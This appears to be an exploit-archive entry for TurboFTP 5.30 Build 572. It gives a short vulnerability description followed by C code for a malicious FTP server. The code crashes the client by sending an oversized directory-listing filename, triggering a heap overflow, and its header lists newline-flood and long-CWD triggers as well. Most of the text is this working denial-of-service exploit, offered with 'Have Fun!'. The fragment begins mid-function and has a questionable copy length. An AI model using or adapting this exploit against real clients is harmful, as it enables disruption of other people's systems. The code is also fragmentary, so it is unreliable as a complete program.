TurboFTP is "a secure FTP client program (supports FTP over SSL/TLS and SFTP over SSH2) for Windows 9x/ME/NT4/2000/XP/2003". Multiple vulnerabilities in TurboFTP allows remote attackers to cause the FTP client to crash.
Exploit:
/****************************************
* TurboFTP 5.30 Build 572 Multiple Remote DoS *
* *
* Several vulnerabilities have been discovered in TurboFTP *
* 1) The app does not correctly handle reponses that contains 7000 newline chars *
* 2) there's a heap overflow triggered by a long file name in a response to a LIST *
* command *
* 3) There is a heap overflow when the app sends a long CWD command *
* *
* Usage: TurboFTPDoS mode, mode is 1 or 2 *
* *
* Only a DoS, I dont think code execution is possible *
* *
* Have Fun! *
* *
* Coded by Marsu <Marsupilamipowa@hotmail.fr> *
*****************************************/
send(client,evilbuff,strlen(evilbuff),0);
int ListenSock= socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sockaddr_in sin2;
sin2.sin_family = AF_INET;
sin2.sin_addr.s_addr = htonl(INADDR_ANY);
sin2.sin_port = htons( 10240 );
bind(ListenSock,(SOCKADDR*)&sin2,sizeof(sin2));
printf("[*] Waiting for data connection ...\n");
listen(ListenSock,5);
int DATAClient=accept(ListenSock,NULL,NULL);
printf("[+] Client connected\n");
//LIST
recv(client,recvbuff,1024,0);
printf("%s", recvbuff);
int len=700;
memset(evilbuff,'A',len);
memcpy(evilbuff,"-rw-rw-rw- 1 ftp ftp 1777 Jan 30 12:14 T",58);
memcpy(evilbuff+len,"\r\n\0",3);
send(DATAClient,evilbuff,strlen(evilbuff),0);
//Close control connection
memcpy(evilbuff,"150 Opening data connection for directory list.\r\n\0",60);
send(client,evilbuff,strlen(evilbuff),0);
memcpy(evilbuff,"226 OK\r\n",9);
send(client,evilbuff,strlen(evilbuff),0);
closesocket(DATAClient);
printf("[+] Evil list sent\n");
closesocket(client);
closesocket(server); //bug is triggered there
